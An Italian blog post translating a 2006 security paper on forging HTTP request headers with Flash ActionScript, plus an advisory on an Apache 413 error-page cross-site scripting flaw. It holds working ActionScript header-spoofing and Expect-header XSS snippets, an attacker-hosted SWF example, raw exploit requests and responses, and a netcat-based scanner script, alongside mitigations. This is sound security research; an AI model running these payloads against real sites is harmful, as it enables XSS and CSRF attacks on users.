Clusit-Associazione Italiana per la Sicurezza Informatica
Il mio profilo su Linkedin
Il mio spazio su YouTube
Joomla Italia
Il mio profilo su vololibero.net
 
Album Picasa
 
Forging HTTP Request PDF Stampa E-mail
Sicurezza
Venerdì 27 Febbraio 2009 18:05
Forging Http RequestFlash Player è un'add-on per i browser molto diffuso; creato da Macromedia e successivamente venduto ad Adobe, attuale distributore.
Questo articolo riguarda principalmente Flash 7 e Flash 8, installati sul 94% dei desktop abilitati (secondo l'indagine online di NPD, condotta nell'aprile del 2006, citata nel Web site di Adobe [1],[2]).

Data:Lunedì 24 Luglio 2006 21:28:59 +0200
Articolo di Amit Klein: "Forging HTTP Request"


Flash - Introduzione
Flash Player è un'add-on per i browser molto diffuso; creato da Macromedia e successivamente venduto ad Adobe, attuale distributore.
Questo articolo riguarda principalmente Flash 7 e Flash 8, installati sul 94% dei desktop abilitati (secondo l'indagine online di NPD, condotta nell'aprile del 2006, citata nel Web site di Adobe [1],[2]).
I filmati Flash vengono pubblicati come SWF (ShockWave File) files.
Adobe ha sviluppato i rich Javascript come Actionscript per permettere le possibilità di scripting a Flash.
Una delle features interessanti di ActionScript è la possibilità di inviare richieste HTTP a siti terzi attraverso i browser che la invocano. Quì è dove Flash diventa interessante dal punto di vista della sicurezza. Con Flash è possibile modellare una richiesta ad un sito terzi in un modo non disponibile nel Javascript "standard".
Nello specifico è interessante la capacità di Flash di inviare richieste arbitrarie di HTTP HEADER con gli Header inviati.

Inviare HTTP request headers arbitrarie con Flash
La seguente è sintassi ActionScript 2.0 per inviare GET request (in questo esempio a http://www.vuln.site/some/page.cgi?p1=v1&p2=v2) con un'arbitraria HTTP header (Foo: Bar). Questo codice funziona con Flash 7 e Flash 8 (probabilmente anche con Flash 6):
 var req:LoadVars=new LoadVars();
 req.addRequestHeader("Foo","Bar");
 req.send("http://www.vuln.site/some/page.cgi?p1=v1&p2=v2","_blank","GET");
 

Una richiesta simile invierà un POST request (con gli stessi header, allo stesso URL, e con argomento a=b&c=d):
 var req:LoadVars=new LoadVars();
 req.addRequestHeader("Foo","Bar");
 req.decode("a=b&c=d");
 req.send("http://www.vuln.site/some/page.cgi?p1=v1&p2=v2","_blank","POST");
 

(nota: the LoadVars.decode() method è stato aggiunto in Flash 7)
La richiesta è trasmessa dal browser che invoca l'oggetto Flash.
Tutti i coockies inviati al browser normalmente, saranno trasmessi anche in questo caso.
Viene inviato l'User-Agent, così come tutti gli headers standard dei browser.
Sono supportati gli HTTPS links.

Questo è stato dimostrato con successo con Microsoft IE 6.0, Microsoft IE 6.0 SP2 e FireFox 1.5.0.4, running Flash 8.0.22.0 e Flash 7.0.19.0.
In IE, è possibile sovrascrivere alcuni browser headers "normali", con una semplice chiamata addRequestHeader con un nuovo valore.
Questo è applicabile sia al Referer che all'User-Agent.
In FireFox 1.5.0.4, tali intestazioni, una volta usate nell'addRequestHeader() saranno appese all'indirizzo richiesto nell'HTTP Header
 // Un UAgent in IE 6.0 SP2, due UAgent in FF 1.5.0.4
 req.addRequestHeader("User-Agent","Hacker/1.0"); 

 // Un Referer in IE 6.0 SP2, due Referers in FF 1.5.0.4
 req.addRequestHeader("Referer","http://somewhere/"); 
 

In IE, è anche possibile sovrascrivere altri headers sensibili (es: Host e Content-Length) appendendo il valore con i due punti al termine del nome dell'intestazione
(questa tecnica è stata descritta in [3] a proposito di XmlHttpRequest.
 req.addRequestHeader("Host:","foobar.site");
 

Questa tecnica non sembra funzionare in FireFox 1.5.0.4.
Nota: quando l'URL target è nello stesso dominio del Flash movie, LoadVars può essere usata per leggere gli HTTP response data, questo fa di LoadVars la base per molti Flash-based AJAX-like frameworks (analogamente all'oggetto XmlHttpRequest di Javascript).

Implicazioni di sicurezza
La capacità di un attacker di "forzare" il browser vittima ad inviare HTTP requests a siti di terze parti con una HTTP request headers arbitraria, ha colpito la nostra conoscenza di web application security, sia per la valutazione dei fenomeni relativi alla sicurezza che per la validità di vari meccanismi di sicurezza. E' importante capire che gli attacchi descritti qui non sono (in se stessi) cross-site scripting, nessuno è (in senso stretto) un cross-domain trust nell'oggetto Flash o fra l'oggetto Flash ed la pagina HTML embedded.
Soltanto sfruttano il fatto che è possibile inviare richieste da un oggetto Flash all'URL, con la maggior parte delle intestazioni HTTP di cui l'attacker ha bisogno. Questo è il problema, poichè permette ad un attacker di inviare un link (ad una pagina
HTML che include un oggetto flash o direttamente ad un oggetto Flash sull Web site dell'attacker) che provocherà l'esecuzione di un oggetto Flash nel browser della vittima. Questo Flash object invierà gli HTTP request (con l' HTTP headers scelto dall'attacker) ad un sito target , e questo a sua volta comprometterà la sicurezza del browser (vittima).
In altre parole, l'implicita asserzione fatta da molti software developers (e probabilmente anche da molti security researchers) che la maggior parte degli HTTP headers non possono essere forzati ad assumere valori arbitrari da un attacker che fornisce i dati al browser vittima, è dimostrata essere uno sbaglio in questo articolo.

Esempio 1 - "Expect" header
Nell'art.[4], è stato descritto un problema di injection in cui Apache 1.3.34, 2.0.57 e 2.2.1 sono vulnerabili all'iniezione di dati HTML (inclusi codici Javascript maligni) attraverso l' Expect header. Nell'art [5], i nostri distinti saluti ha commentato, riguardo a questa edizione, che per quanto riguarda questo tipo di fenomeno-XSS non non è di per se un XSS. A meno che qualcuno mi dimostri come è possibile forzare un browser ad inviare Expect header ad un target site. Ma usando un oggetto flash è banale (si sta rispondendo da solo alla domanda...)
Pensate ad una vittima (browser) che clicca il seguente link:
 [http]://www.evil.site/attack.swf
 

Questo URL rappresenta un oggetto Flash che esegue il seguente codice ActionScript:
 var req:LoadVars=new LoadVars();
 req.addRequestHeader("Expect","<script>alert('gotcha!')</script>");
 req.send("http://www.target.site/","_blank","GET");
 

Questa ActionScript invia una richiesta dal browser vittima al sito target (www.target.site) con un Expect header contenente codice HTML maligno (Javascript). Se sul sito target gira una versione vulnerabile di Apache, il risultato successivo sarà un cross site scripting. Per essere chiari c'è un XSS funzionante per Apache 1.3.34, 2.0.57 e 2.2.1 (finchè il client browser sarà IE o Firefox, e supporterà Flash 6/7+).
Come evidenziato in [5], per Apache 2.0/2.2 l'XSS response è ritornato dal server solo dopo il request timeout elapses (normalmente pochi minuti).
Esiste un fix per Apache server, disponibile per 1.3.35, 2.0.58 e 2.2.2.

Esempio 2 - CSRF e Referer
CSRF (Cross Site Request Forgery) attack è in sostanza la capacità di un attacker di forzare una vittima (browser) a compiere un'azione (inviare HTTP request) su un sito target. Questo concetto è emerso parecchie volte, la prima probabilmente sulla mlist di Zope (come "Trojans client side), [6] e un altra volta su BugTraq, sotto quello che ormai è diventato il suo nome, CSRF [7].
Entrambi i riferimenti suggeriscono, tra le altre misure, di affidarsi all'header dell'HTTP Referer per verificare che il browser invii l'HTTP request da un collegamento che proviene dal Web site. Effettivamente, tenendo conto delle possibilità di HTML+Javascript, è quasi impossibile lo spoofing Referer (un'eccezione è [8], ma è efficace soltanto in alcuni casi; per esempio non funziona quando si usa HTTPS).
Tuttavia, come si può intuire, con Flash questo non vale ed è possibile lo spoof referer per richieste a risorse HTTPS, tutto mentre il browser invia i coockie del sito con una richiesta. Come dimostrato sopra, sia le GET requests (con host arbitrari e parti di query) che le POST requests (con host arbitrari, parti di query, e body in formato standard Content-Type of "application/x-www-form-urlencoded") possono essere inviate.
nota: ci sono molte altre ragioni per non fidarsi degli Header referer e questo testo non è il primo a mettere in allerta riguardo la pratica di questa tecnica.
E' abbastanza ovvio che ogni header utile (e combinazioni di questo) può essere spooffato.
Nel caso di IE, l'header inserita dall'attacker può sostituire quella fornita dal browser (per esempio Referer). Nel caso di Firefox, la tecnica spoofing Referer può non essere possibile, in quanto Firefox aggiunge l'header in fondo agli Header HTTP standard.
Eppure, alcune applicazioni web possono usare l'ultimo valore dell'intestazione e come tali sono vulnerabili a questa tecnica. Detto chiaramente, tutto questo significa che gli attacchi XSS (reflective) che usano le HTTP request headers (es Referer, Utente-Agent, Expect, Host, Content-Type) per inviare il payload sono ora possibili.

Flash 9
Flash 9 è uscito il 28 giugno 2006 [9],meno di un mese fa (ovviamente dalla data di scrittura di qs articolo).
In Flash 9, le tecniche descritte sopra (per la classe LoadVars) non funzionano su tutti i browser header che ne sono dotati (es. User-Agent, Host e Referer), ne probabilmente sugli header protetti come Content-Length. Eppure, gli header come Expect possono essere inviati, così alcuni attacchi, come quello sopra, possono essere effettivamente compiuti.

Limiti della tecnica
  • L'URL e la parte del body saranno sempre URL-encoded. Cioè, è impossibile (così sembra) forzare SP, HT, CR e LF (e probabilmente molti altri caratteri) a comparire nella loro forma "originaria" nel request URL e nel body.
  • Possono essere usati solo metodi GET ed POST.
  • In IE, può essere inviata solamente un istanza di ogni header.
  • L'header section non può essere completamente controllata, ad esempio un attacker può avere problemi quando cerca di inviare caratteri speciali negli headers.
Soluzione parziale
Osservare la prima limitazione della tecnica, afferma che non si possono inserire nel body stringhe CR e LF.
Questo significa che la tecnica non può essere usata per inviare richieste (POST) il cui body è in formato content-type "multipart/form-data" (questo formato usa i CR e gli LF per marcare headers e boundaries). In altre parole, la richiesta (POST) di cui il body è in formato "multipart/form-data" valido è garantito che non sarà inviata da un player Flash. Gli autori di applicazion web possono quindi usare HTML forms in cui l'attributo ENCTYPE è settato come multipart/form-data" e verificare che la submission contenga un body validato come multipart/form-data.
Una volta che questi meccanismi sono nel codice e passa una request, viene riconosciuta come non proveniente da un Flas player, così l'attacco descritto è inutile. Naturalmente questa soluzione è intrusiva, sia le pagine HTML che gli "script che ricevono" devono essere alterati per usare (e validare) multipart/form-data. Con alcune piattaforme di sviluppo web, questo è irrilevante, mentre in altre (es Perl, e ASP) non lo è.
E ancora, nei casi quale l'esempio 1 qui sopra, gli headers HTTP sono interpretati e usati dal webserver (Apache), ed il controllo non raggiunge mai il livello dell'applicazione web; in questi casi questa soluzione non è applicabile.

Direzioni future
HTTP Request Splitting ([8]) e HTTP Request Smuggling ([10])
In IE + Flash 7/8 è possibile inviare header Content-Length con qualunque valore. Questo crea l'opportunità di operare attacchi HTTP Request Splitting
Anche iniettando l'header Transfer-Encoding, o un secondo Content-Length header può essere offerta la possibilità di HTTP Request Smuggling.
Ulteriore ricerca è necessaria per capire quale di queste direzioni può portare ad una tecnica di esploitazione.
Flash 9 - Mentre gli esperimenti indicano che Flash 9 è più rigoroso riguardo quali intestazioni possono essere specificate con LoadVars.addRequestHeader(), il linguaggio ActionScript 3.0 è molto più ricco di ActionScript 2.0.
Come tale, può dare parecchie possibilità interessanti a livello HTTP, per esempio la  capacità di inviare vari metodi HTTP, non solo GET e POST (qualche WebDAV?).
Flash 9 e ActionScript 3.0 dovrebbero essere studiati più in profondità per capire il loro potenziale riguardo alla costruzione delle richieste HTTP.

Conclusioni
Affidarsi all'autenticità degli HTTP request headers quando questi vengono inviati da un browser non è una buona idea.
Praticamente ogni intestazione può essere spooffata (wiki: Esistono diversi tipi di attacchi spoofing, ma in ogni caso si tratta di far credere alla vittima che si è qualcosa di diverso) se il cliente può essere costretto a fare funzionare un player cattivo e questo è probabilmente applicabile a più dell' 80% dei desktop internet (IE + Flash 7/8).
Di conseguenza, l'applicabilità degli attacchi XSS basati su tali headers, come pure gli attacchi cross site request forgery (contro i sti che si proteggono controllando il Referer header) è superiore a quel che si possa pensare.
Una soluzione parziale al caso precedente è stata suggerita nell'articolo, comunque è fortemente è legata alla tecnologia specifica usata, Flash, poichè non può assicurare alcuna protezione contro le variabili dell'uso di tecnologie differenti, o contro il suo stesso sviluppo. Per i cross-site request forgery quindi, le soluzioni che non si affidano al solo controllo sui Referer, dovrebbero essere considerate.

Referenze
[1] "Technology Breakdown" (Adobe website)
http://www.adobe.com/products/player_census/flashplayer/tech_breakdown.html
[2] "Macromedia Flash Player Version Penetration" (Adobe website)
http://www.adobe.com/products/player_census/flashplayer/version_penetration.html
[3] "Re: 'Exploiting the XmlHttpRequest object in IE' - paper by
Amit Klein" by Anonymous, BugTraq posting, September 27th, 2005
http://www.securityfocus.com/archive/1/411823
[4] "Unfiltered Header Injection in Apache 1.3.34/2.0.57/2.2.1"
by Thiago Zaninotti, BugTraq posting, May 8th, 2006
http://www.securityfocus.com/archive/1/433280
[5] "Re: Unfiltered Header Injection in Apache
1.3.34/2.0.57/2.2.1" by Amit Klein, BugTraq posting, May 18th, 2006
http://www.securityfocus.com/archive/1/434729
[6] "Client Side Trojans", Zope developers mailing list, May 2000
http://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan
[7] "Cross Site Request Forgeries" by Peter Watkins, BugTraq
posting, June 15th, 2001
http://www.tux.org/~peterw/csrf.txt
[8] "Exploiting the XmlHttpRequest object in IE - Referrer
spoofing, and a lot more..." by Amit Klein, BugTraq posting,
September 24th, 2005
http://www.securityfocus.com/archive/1/411585
[9] "Adobe Flash Player 9 Leads a New Generation of Dynamic Media
and Rich Internet Applications" (Adobe website), June 28th, 2006
http://www.adobe.com/aboutadobe/pressroom/pressreleases/200606/062806Flash9.html
[10] "HTTP Request Smuggling" by Chaim Linhart, Amit Klein, Ronen
Heled and Steve Orrin, June 6th, 2005
http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf

ALTRO
Vulnerable Systems:
* Apache version 2.0.46 (Red Hat)
* Apache version 2.0.51 (Fedora)
* Apache version 2.0.55 (Ubuntu) PHP/5.1.6
* Apache version 2.0.59 (Unix) mod_ssl/2.0.59 OpenSSL/0.9.7g
* Apache version 2.2.3 (FreeBSD) mod_ssl/2.2.3 OpenSSL/0.9.7e-p1 DAV/2
* Apache version 2.2.4 (Linux/SUSE)
E' possibile provocare un ritorno di client-supplied scripting code su Apache HTTP server inviando un malformed HTTP method che può trasportare il payload (es JavaScript maligno) e un length data non valido nel form o altro seguente:
* Due 'Content-length:' headers uguali a zero
es.: "Content-Length: 0[LF]Content-Length: 0"
* Un 'Content-length:' header uguale a due valori
es.: "Content-length: 0, 0"
* Un 'Content-length:' header uguale a un valore negativo
es.: "Content-length: -1"
* Un 'Content-length:' header uguale a un valore troppo grande
es.: "Content-length: 9999999999999999999999999999999999999999999999"

Apache 2.X ritorna un'errore '413 Request Entity Too Large', quando viene inviata una length data non valida. Quando cerchiamo XSS nella pagina di errore ritornata dal server, abbiamo 3 possibili string-vectors:
* L' 'Host:' header
* L' URL
* L' HTTP method

Se testiamo per XSS usando l' 'Host:' header, Apache filtra correttamente < e > e le sostituisce con HTML entities:

Richiesta:
 GET / HTTP/1.1
 Host: <BADCHARS>
 Connection: close
 Content-length: -1
 [LF]
 [LF]
 

Risposta del server:
 HTTP/1.1 413 Request Entity Too Large
 Date: Fri, 30 Nov 2007 12:40:19 GMT
 Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
 Connection: close
 Content-Type: text/html; charset=iso-8859-1
 
 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
 <html><head>
 <title>413 Request Entity Too Large</title>
 </head><body>
 <h1>Request Entity Too Large</h1>
 The requested resource<br />/<br />
 does not allow request data with GET requests, or the amount of data provided in
 the request exceeds the capacity limit.
 <hr>
 <address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at <badchars> Port 80</address>
 </body></html>
 


Notare che '<BADCHARS>' è stato sostituito con '<badchars>'
Se testiamo per XSS usando l' URL, Apache filtra correttamente < e > e le sostituisce con HTML entities:

REQUEST:
 GET /<BADCHARS>/ HTTP/1.1
 Host: target-domain.foo
 Connection: close
 Content-length: -1
 [LF]
 [LF]
 

SERVER'S RESPONSE:
 HTTP/1.1 413 Request Entity Too Large
 Date: Fri, 30 Nov 2007 12:41:17 GMT
 Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
 Connection: close
 Content-Type: text/html; charset=iso-8859-1
 
 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
 <html><head>
 <title>413 Request Entity Too Large</title>
 </head><body>
 <h1>Request Entity Too Large</h1>
 The requested resource<br />/<BADCHARS>/<br />
 does not allow request data with GET requests, or the amount of data provided in
 the request exceeds the capacity limit.
 <hr>
 <address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at target-domain.foo Port 80</address>
 </body></html>
 

Ancora, '<BADCHARS>' è stato corretto in '<badchars>'
Cosi ancora, se testiamo per XSS usando il malformed HTTP method, < e > NON SONO TRASFORMATE IN HTML entities:
REQUEST:
 <BADCHARS> / HTTP/1.1
 Host: target-domain.foo
 Connection: close
 Content-length: -1
 [LF]
 [LF]
 

SERVER'S RESPONSE:
 HTTP/1.1 413 Request Entity Too Large
 Date: Fri, 30 Nov 2007 12:42:46 GMT
 Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
 Connection: close
 Content-Type: text/html; charset=iso-8859-1
 
 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
 <html><head>
 <title>413 Request Entity Too Large</title>
 </head><body>
 <h1>Request Entity Too Large</h1>
 The requested resource<br />/<br />
 does not allow request data with <BADCHARS> requests, or the amount of data provided in
 the request exceeds the capacity limit.
 <hr>
 <address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at target-domain.foo Port 80</address>
 </body></html>
 


Il seguente script può essere usato per testare la PROPRIA rete per trovare web servers vulnerabili:
 #!/bin/bash
 # PR07-37-scan
 if [ $# -ne 1 ]
 then
 echo "$0 <hosts-file>"
 exit
 fi
 
 for i in `cat $1`
 do
 
 if echo -en "<PROCHECKUP> / HTTP/1.1\nHost: $i\nConnection: close\nContent-length: 0\nContent-length: 0\n\n" | nc -w 4 $i 80 | grep -i '<PROCHECKUP>' > /dev/null
 then
 echo "$i is VULNERABLE!"
 fi
 
 done
 


Conseguenze: questo tipo di attacco può provocare il defacement non-persistente del sito target, o la redirection di informazioni confidenziali (es. session IDs) a terzi non autorizzati a condizione che un web browser sia manipolato per inviare un malformed HTTP method.

Workaround: disable Apache's default 413 error pages by adding 'ErrorDocument 413' statement to the Apache config file.
 
 
Questo sito è dedicato alla mia ed altrui curiosità, come primordiale bisogno di conoscere, capire nella sua complessità ogni cosa. Questo sito è basato sul framework Joomla1.5.xx!. Ogni contenuto o script pubblicato è di libera consultazione e duplicazione purchè se ne citi la fonte. Clicca qui per votare